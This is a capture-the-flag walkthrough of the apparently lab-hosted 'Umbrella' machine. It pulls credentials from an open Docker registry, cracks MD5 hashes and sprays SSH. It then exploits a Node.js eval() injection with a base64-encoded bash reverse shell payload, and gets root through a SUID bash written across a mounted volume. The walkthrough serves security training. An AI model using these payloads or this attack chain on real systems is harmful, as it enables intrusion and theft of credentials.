Recon
1
2
3
4
5
6
7
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ pt init '10.10.104.119 Umbrella'
+----------+--------+---------------+----------+
| PROFILE | STATUS | IP | DOMAIN |
+----------+--------+---------------+----------+
| umbrella | on | 10.10.104.119 | Umbrella |
+----------+--------+---------------+----------+
|
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
# Nmap 7.94SVN scan initiated Sat Jan 20 15:44:47 2024 as: nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,3306,5000,8080, Umbrella
Nmap scan report for Umbrella (10.10.149.49)
Host is up, received user-set (0.23s latency).
Scanned at 2024-01-20 15:44:47 CST for 53s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8a:52:f1:d6:ea:6d:18:b2:6f:26:ca:89:87:c9:49:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBASqbHaEEuWmI5CrkNyO/jnEdfqh2rz9z2bGFBDGoHjs5kyxBKyXoDSq/WBp7fdyvo1tzZdZfJ06LAk5br00eTg=
| 256 4b:0d:62:2a:79:5c:a0:7b:c4:f4:6c:76:3c:22:7f:f9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDDy2RWM3VB9ZBVO+OjouqVM+inQcilcbI0eM3GAjnoC
3306/tcp open mysql syn-ack ttl 62 MySQL 5.7.40
| ssl-cert: Subject: commonName=MySQL_Server_5.7.40_Auto_Generated_Server_Certificate
| Issuer: commonName=MySQL_Server_5.7.40_Auto_Generated_CA_Certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-12-22T10:04:49
| Not valid after: 2032-12-19T10:04:49
| MD5: c512:bd8c:75b6:afa8:fde3:bc14:0f3e:7764
| SHA-1: 8f11:0b77:1387:0438:fc69:658a:eb43:1671:715c:d421
| -----BEGIN CERTIFICATE-----
| MIIDBzCCAe+gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA8MTowOAYDVQQDDDFNeVNR
| TF9TZXJ2ZXJfNS43LjQwX0F1dG9fR2VuZXJhdGVkX0NBX0NlcnRpZmljYXRlMB4X
| DTIyMTIyMjEwMDQ0OVoXDTMyMTIxOTEwMDQ0OVowQDE+MDwGA1UEAww1TXlTUUxf
| U2VydmVyXzUuNy40MF9BdXRvX0dlbmVyYXRlZF9TZXJ2ZXJfQ2VydGlmaWNhdGUw
| ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8KqoE91ydQZJDUqWE/nfs
| 6akfHB2g3D1VJoX+DeuTxEubjmWy+jGOepvEbKEhjrLMl9+LIj3vkKlj1bpRw0x1
| 7tbY7NXPtz5EsOCqDcuGl8XjIBE6ck+4yK8jmzgCMOHhJjoAtcsgAOcnal0WCCyB
| 7IS4uvHi7RSHKPrcAf9wgL5sUZylaH1HWiPXDd0141fVVpAtkkdjOUCPwZtF5MKC
| W6gOfgxMsvYoqY0dEHW2LAh+gw10nZsJ/xm9P0s4uWLKrYmHRuub+CC2U5fs5eOk
| mjIk8ypRfP5mdUK3yLWkGwGbq1D0W90DzmHhjhPm96uEOvaomvIK9cHzmtZHRe1r
| AgMBAAGjEDAOMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggEBAGkpBg5j
| bdmgMd30Enh8u8/Z7L4N6IalbBCzYhSkaAGrWYh42FhFkd9aAsnbawK+lWWEsMlY
| +arjrwD0TE6XzwvfdYsVwOdARPAwm4Xe3odcisBvySAeOE6laaCnIWnpH/OqGDEk
| GBYfI8+e0CBdjhDNpeWVJEkGv4tzaf6KE1Ix9N2tTF/qCZtmHoOyXQQ7YwBPMRLu
| WnmAdmtDYqVEcuHj106v40QvUMKeFgpFH37M+Lat8y3Nn+11BP5QzRLh+GFuQmVc
| XaDxVdWXCUMWsbaPNNS+NM9FT7WNkH7xTy2NuBdSFvl88tXNZpnz8nkRxXLarLD8
| 2AE6mQqpFHhaSRg=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| mysql-info:
| Protocol: 10
| Version: 5.7.40
| Thread ID: 12
| Capabilities flags: 65535
| Some Capabilities: LongPassword, Support41Auth, IgnoreSigpipes, LongColumnFlag, SupportsCompression, DontAllowDatabaseTableColumn, ConnectWithDatabase, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsLoadDataLocal, InteractiveClient, IgnoreSpaceBeforeParenthesis, FoundRows, SwitchToSSLAfterHandshake, ODBCClient, SupportsTransactions, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: S#\x157^`M\x0D\x0EAx\x07\x14J>;l]\x0Bi
|_ Auth Plugin Name: mysql_native_password
5000/tcp open http syn-ack ttl 62 Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8080/tcp open http syn-ack ttl 62 Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Login
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 20 15:45:40 2024 -- 1 IP address (1 host up) scanned in 52.84 seconds
|
Web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ bulkdirb
[+] Open Ports: 22,3306,5000,8080,
[!] No URL file found. Running webprobe...
http://Umbrella:5000 [200] [] [] [da39a3ee5e6b4b0d3255bfef95601890afd80709]
http://Umbrella:8080 [200] [Login] [] [Express,Node.js] [9fa14136b9441642f292b52be2366f263d5b9680]
[+] Web Ports: 5000 8080 80
[+] cat httpx/urls.txt | feroxbuster --stdin -w /usr/share/wordlists/dirb/common.txt -C 404,400,500 --thorough --dont-scan js,css,png,jpg,gif -I js,css,png,jpg,gif -k -r -n -A -o bulkdirb.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://Umbrella:5000
🎯 Target Url │ http://Umbrella:8080
🚫 Don't Scan Regex │ js
🚫 Don't Scan Regex │ css
🚫 Don't Scan Regex │ png
🚫 Don't Scan Regex │ jpg
🚫 Don't Scan Regex │ gif
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
💢 Status Code Filters │ [404, 400, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ Random
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💾 Output File │ bulkdirb.txt
💰 Collect Extensions │ true
💸 Ignored Extensions │ [js, css, png, jpg, gif]
🏦 Collect Backups │ true
🤑 Collect Words │ true
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🎶 Auto Tune │ true
📍 Follow Redirects │ true
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 4w 19c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 0l 0w 0c http://umbrella:5000/
200 GET 25l 47w 656c http://umbrella:8080/
200 GET 1l 1w 2c http://umbrella:5000/v2/
[####################] - 23s 9235/9235 0s found:3 errors:0
[####################] - 23s 4615/4615 202/s http://Umbrella:5000/
[####################] - 23s 4615/4615 199/s http://Umbrella:8080/
|
Initial Access
Shell as claire-r
5000 - Get DB Credential via docker registry API
https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry
The api doesn’t require auth and have one image available
1
2
3
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ curl http://umbrella:5000/v2/_catalog
{"repositories":["umbrella/timetracking"]}
|
There’s only one tag latest
on the image umbrella/timetracking
1
2
3
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ curl -s http://umbrella:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}
|
The registry api uses HTTP, and docker forces to use HTTPS as default
1
2
3
4
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker pull Umbrella:5000/umbrella/timetracking
Using default tag: latest
Error response from daemon: Get "https://Umbrella:5000/v2/": http: server gave HTTP response to HTTPS client
|
Allow insecure connection for Umbrella:5000
1
2
3
4
5
6
7
8
9
10
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo vi /etc/docker/daemon.json
{
"insecure-registries":[
"Umbrella:5000"
]
}
┌──(bravosec㉿fsociety)-[/opt/…/misc/DockerRegistryGrabber/umbrella/timetracking]
└─$ sudo service docker restart
|
Pull the image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker pull Umbrella:5000/umbrella/timetracking
Using default tag: latest
latest: Pulling from umbrella/timetracking
3f4ca61aafcd: Pull complete
00fde01815c9: Pull complete
a3241ece5841: Pull complete
f897be510228: Pull complete
23e2f216e824: Pull complete
15b79dac86ef: Pull complete
7fbf137cf91f: Pull complete
e5e56a29478c: Pull complete
82f3f98b46d4: Pull complete
62c454461c50: Pull complete
c9124d8ccff2: Pull complete
Digest: sha256:ecac8ce90b50026feea9d5552ac2889f6e8b2201f35e0ac5c21caeafed6fb9af
Status: Downloaded newer image for Umbrella:5000/umbrella/timetracking:latest
Umbrella:5000/umbrella/timetracking:latest
|
Inspect the commands used to build the image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| ┌──(bravosec㉿fsociety)-[/opt/…/misc/DockerRegistryGrabber/umbrella/timetracking]
└─$ sudo docker history Umbrella:5000/umbrella/timetracking
IMAGE CREATED CREATED BY SIZE COMMENT
7843f102a2fc 13 months ago /bin/sh -c #(nop) CMD ["node" "app.js"] 0B
<missing> 13 months ago /bin/sh -c #(nop) EXPOSE 8080 0B
<missing> 13 months ago /bin/sh -c #(nop) COPY file:15724d44e98203ba… 3.24kB
<missing> 13 months ago /bin/sh -c #(nop) COPY dir:f4893f0d1db8ba309… 1.87kB
<missing> 13 months ago /bin/sh -c #(nop) COPY dir:b1f43f22176dce6e1… 2.56kB
<missing> 13 months ago /bin/sh -c npm install 8.15MB
<missing> 13 months ago /bin/sh -c #(nop) COPY multi:8ea3cb977bb32fa… 64.3kB
<missing> 13 months ago /bin/sh -c #(nop) ENV LOG_FILE=/logs/tt.log 0B
<missing> 13 months ago /bin/sh -c #(nop) ENV DB_DATABASE=timetrack… 0B
<missing> 13 months ago /bin/sh -c #(nop) ENV DB_PASS=Ng1-f3!Pe7-e5… 0B
<missing> 13 months ago /bin/sh -c #(nop) ENV DB_USER=root 0B
<missing> 13 months ago /bin/sh -c #(nop) ENV DB_HOST=db 0B
<missing> 13 months ago /bin/sh -c #(nop) WORKDIR /usr/src/app 0B
<missing> 13 months ago /bin/sh -c #(nop) CMD ["node"] 0B
<missing> 13 months ago /bin/sh -c #(nop) ENTRYPOINT ["docker-entry… 0B
<missing> 13 months ago /bin/sh -c #(nop) COPY file:4d192565a7220e13… 388B
<missing> 13 months ago /bin/sh -c set -ex && savedAptMark="$(apt-… 9.49MB
<missing> 13 months ago /bin/sh -c #(nop) ENV YARN_VERSION=1.22.19 0B
<missing> 13 months ago /bin/sh -c ARCH= && dpkgArch="$(dpkg --print… 157MB
<missing> 13 months ago /bin/sh -c #(nop) ENV NODE_VERSION=19.3.0 0B
<missing> 13 months ago /bin/sh -c groupadd --gid 1000 node && use… 333kB
<missing> 13 months ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 13 months ago /bin/sh -c #(nop) ADD file:73e68ae6852c9afbb… 80.5MB
|
There’s a database credential in image
1
2
3
4
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker history Umbrella:5000/umbrella/timetracking --no-trunc | grep DB_PASS
<missing> 13 months ago /bin/sh -c #(nop) ENV DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
[...]
|
Attach to the image and enumerate
1
2
3
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ sudo docker run -it Umbrella:5000/umbrella/timetracking bash
root@a4fef00e4853:/usr/src/app#
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| root@cc18f02cf826:/usr/src/app# ls -la
total 92
drwxr-xr-x 1 root root 4096 Dec 22 2022 .
drwxr-xr-x 1 root root 4096 Dec 22 2022 ..
-rw-rw-r-- 1 root root 3237 Dec 22 2022 app.js
drwxr-xr-x 87 root root 4096 Dec 22 2022 node_modules
-rw-rw-r-- 1 root root 63965 Dec 22 2022 package-lock.json
-rw-rw-r-- 1 root root 385 Dec 22 2022 package.json
drwxr-xr-x 3 root root 4096 Dec 22 2022 public
drwxr-xr-x 2 root root 4096 Dec 22 2022 views
root@cc18f02cf826:/usr/src/app# cat app.js
const mysql = require('mysql');
const express = require('express');
const session = require('express-session');
const path = require('path');
const crypto = require('crypto')
const cookieParser = require('cookie-parser');
const fs = require('fs');
const connection = mysql.createConnection({
host : process.env.DB_HOST,
user : process.env.DB_USER,
password : process.env.DB_PASS,
database : process.env.DB_DATABASE
});
[...]
app.listen(8080, () => {
console.log("App listening on port 8080")
});
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| root@cc18f02cf826:/usr/src/app# env
HOSTNAME=cc18f02cf826
YARN_VERSION=1.22.19
PWD=/usr/src/app
DB_USER=root
HOME=/root
LOG_FILE=/logs/tt.log
TERM=xterm
DB_HOST=db
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.3.0
DB_DATABASE=timetracking
DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
_=/usr/bin/env
|
Crack user hashes in mysql database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ mysql -h Umbrella -u root -p'Ng1-f3!Pe7-e5?Nf3xe5'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.40 MySQL Community Server (GPL)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| timetracking |
+--------------------+
5 rows in set (0.236 sec)
MySQL [(none)]> use timetracking
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [timetracking]> show tables;
+------------------------+
| Tables_in_timetracking |
+------------------------+
| users |
+------------------------+
1 row in set (0.230 sec)
MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user | pass | time |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 | 360 |
| chris-r | 0d107d09f5bbe40cade3de5c71e9e9b7 | 420 |
| jill-v | d5c0607301ad5d5c1528962a83992ac8 | 564 |
| barry-b | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+
4 rows in set (0.230 sec)
MySQL [timetracking]>
|
1
2
3
4
5
6
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat loot/users.raw | awk -F'|' '{print $2$3}' | tail +4 | sed -e '/^$/d' | awk '{print $1":"$2}' | tee loot/users.hash
claire-r:2ac9cb7dc02b3c0083eb70898e549b63
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7
jill-v:d5c0607301ad5d5c1528962a83992ac8
barry-b:4a04890400b5d7bac101baace5d7e994
|
1
2
3
4
5
6
7
8
9
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0 --show
claire-r:2ac9cb7dc02b3c0083eb70898e549b63:Password1
chris-r:0d107d09f5bbe40cade3de5c71e9e9b7:letmein
jill-v:d5c0607301ad5d5c1528962a83992ac8:sunshine1
barry-b:4a04890400b5d7bac101baace5d7e994:sandwich
|
1
2
3
4
5
6
7
8
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hashcat loot/users.hash /opt/wordlists/rockyou.txt --user -m 0 --show > hashcat_users.txt
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat hashcat_users.txt | cut -d: -f3 > pass.lst
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cat hashcat_users.txt | cut -d: -f1 > users.lst
|
Password spray
1
2
3
4
5
6
7
8
9
10
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ hydra -e nsr -L users.lst -P pass.lst ssh://Umbrella -t 4 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-20 17:01:05
[DATA] max 4 tasks per 1 server, overall 4 tasks, 28 login tries (l:4/p:7), ~7 tries per task
[DATA] attacking ssh://Umbrella:22/
[22][ssh] host: Umbrella login: claire-r password: Password1
Password11 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-20 17:01:32
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ cssh claire-r@Umbrella 'Password1'
Warning: Permanently added 'umbrella' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 20 Jan 2024 09:02:06 AM UTC
System load: 0.13
Usage of /: 69.6% of 6.06GB
Memory usage: 50%
Swap usage: 0%
Processes: 129
Users logged in: 0
IPv4 address for br-1fddcfdf193d: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.122.242
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
20 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Jan 20 09:01:58 2024 from 10.11.19.145
claire-r@ctf:~$ cat user.txt
THM{d832c0e4cf71312708686124f7a6b25e}
|
Privilege Escalation
From claire-r to root
Under the user’s directory, there’s the node js app’s source code at port 8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| claire-r@ctf:~$ ls -latr
total 36
drwxr-xr-x 4 root root 4096 Dec 22 2022 ..
-rw-r--r-- 1 claire-r claire-r 220 Dec 22 2022 .bash_logout
-rw-r--r-- 1 claire-r claire-r 807 Dec 22 2022 .profile
-rw-r--r-- 1 claire-r claire-r 3771 Dec 22 2022 .bashrc
-rw-r--r-- 1 claire-r claire-r 38 Dec 22 2022 user.txt
drwxrwxr-x 6 claire-r claire-r 4096 Dec 22 2022 timeTracker-src
-rw------- 1 claire-r claire-r 61 Sep 22 18:26 .bash_history
drwx------ 2 claire-r claire-r 4096 Jan 24 16:12 .cache
drwxr-xr-x 4 claire-r claire-r 4096 Jan 24 16:12 .
claire-r@ctf:~$ cd timeTracker-src/
claire-r@ctf:~/timeTracker-src$ ls -latr
total 108
drwxrwxr-x 2 claire-r claire-r 4096 Dec 22 2022 views
drwxrwxr-x 3 claire-r claire-r 4096 Dec 22 2022 public
-rw-rw-r-- 1 claire-r claire-r 63965 Dec 22 2022 package-lock.json
-rw-rw-r-- 1 claire-r claire-r 385 Dec 22 2022 package.json
-rw-rw-r-- 1 claire-r claire-r 17 Dec 22 2022 .gitignore
-rw-rw-r-- 1 claire-r claire-r 398 Dec 22 2022 docker-compose.yml
drwxrwxr-x 2 claire-r claire-r 4096 Dec 22 2022 db
-rw-rw-r-- 1 claire-r claire-r 3237 Dec 22 2022 app.js
-rw-rw-r-- 1 claire-r claire-r 295 Dec 22 2022 Dockerfile
drwxrw-rw- 2 claire-r claire-r 4096 Dec 22 2022 logs
drwxrwxr-x 6 claire-r claire-r 4096 Dec 22 2022 .
drwxr-xr-x 4 claire-r claire-r 4096 Jan 24 16:12 ..
|
From the docker file, we know that logs
was probably mounted at /logs/tt.log
in docker container
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| claire-r@ctf:~/timeTracker-src$ cat Dockerfile
FROM node:19-slim
WORKDIR /usr/src/app
ENV DB_HOST=db
ENV DB_USER=root
ENV DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
ENV DB_DATABASE=timetracking
ENV LOG_FILE=/logs/tt.log
COPY package*.json ./
RUN npm install
COPY ./public ./public
COPY ./views ./views
COPY app.js .
EXPOSE 8080
CMD [ "node", "app.js"]
|
After getting root in docker container, we can give bash SUID as root to privilege escalate in host machine
There are mainly 2 ways to backdoor docker images:
- If the docker image exposes SSH port, modify SSHD config and change root password
- If the image runs php, asp web applications, add webshells
In this case, the docker image doesn’t open SSH port, and the web app was running node js
which we can’t access webshell without restarting
So we need to find another way to get initial access on the docker container
SAST for node js app
Check for dangerous functions
1
2
3
4
5
6
7
8
9
10
11
12
13
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ grep -iE 'child_process|eval' -E5 dump/app.js
// http://localhost:8080/time
app.post('/time', function(request, response) {
if (request.session.loggedin && request.session.username) {
let timeCalc = parseInt(eval(request.body.time));
let time = isNaN(timeCalc) ? 0 : timeCalc;
let username = request.session.username;
connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], function(error, results, fields) {
if (error) {
|
I can use the time
parameter to get code execution
8000 - Code injection in node js app
After login, I was able to submit post data to /time
with time
parameter
Craft reverse shell payload
1
2
3
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ echo 'bash -i >& /dev/tcp/10.11.19.145/1111 0>&1' | base64 -w0
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMS4xOS4xNDUvMTExMSAwPiYxCg==
|
In order to get rid of special characters, I added some spaces
1
2
3
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ echo 'bash -i >& /dev/tcp/10.11.19.145/1111 0>&1 ' | base64 -w0
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTkuMTQ1LzExMTEgMD4mMSAK
|
Final payload :
1
| require("child_process").exec("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTEuMTkuMTQ1LzExMTEgMD4mMSAK | base64 -d | bash")
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.11.19.145] from (UNKNOWN) [10.10.10.193] 56854
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@de0610f51845:/usr/src/app# script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
root@de0610f51845:/usr/src/app# ^Z
zsh: suspended nc -lvnp 1111
┌──(bravosec㉿fsociety)-[~/thm/Umbrella]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 1111
root@de0610f51845:/usr/src/app# export TERM=xterm
root@de0610f51845:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
|
SUID - Give bash SUID as root from docker container
The /logs
dir was mounted from host
1
2
3
4
5
6
7
8
| root@de0610f51845:/tmp# mount
[...]
/dev/mapper/ubuntu--vg-ubuntu--lv on /logs type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
[...]
root@de0610f51845:/tmp#
|
1
2
3
4
5
| root@de0610f51845:/tmp# ls -latr /logs
total 1168
drwxr-xr-x 1 root root 4096 Dec 22 2022 ..
-rw-r--r-- 1 root root 454 Jan 24 17:11 tt.log
drwxrw-rw- 2 1001 1001 4096 Jan 24 17:22 .
|
First, copy bash to ~/timeTracker-src
from the host machine
1
| claire-r@ctf:~/timeTracker-src$ cp /bin/bash logs/
|
Change the owner of bash to root then give SUID as root from docker container
1
2
| root@de0610f51845:/tmp# chown root: /logs/bash
root@de0610f51845:/tmp# chmod +s /logs/bash
|
Run the bash binary from host machine
1
2
3
4
5
6
| claire-r@ctf:~/timeTracker-src$ logs/bash -p
bash-5.0# id
uid=1001(claire-r) gid=1001(claire-r) euid=0(root) egid=0(root) groups=0(root),1001(claire-r)
bash-5.0# cat /root/root.txt
THM{1e15fbe7978061c6bb1924124fd9eab2}
bash-5.0#
|
Appendix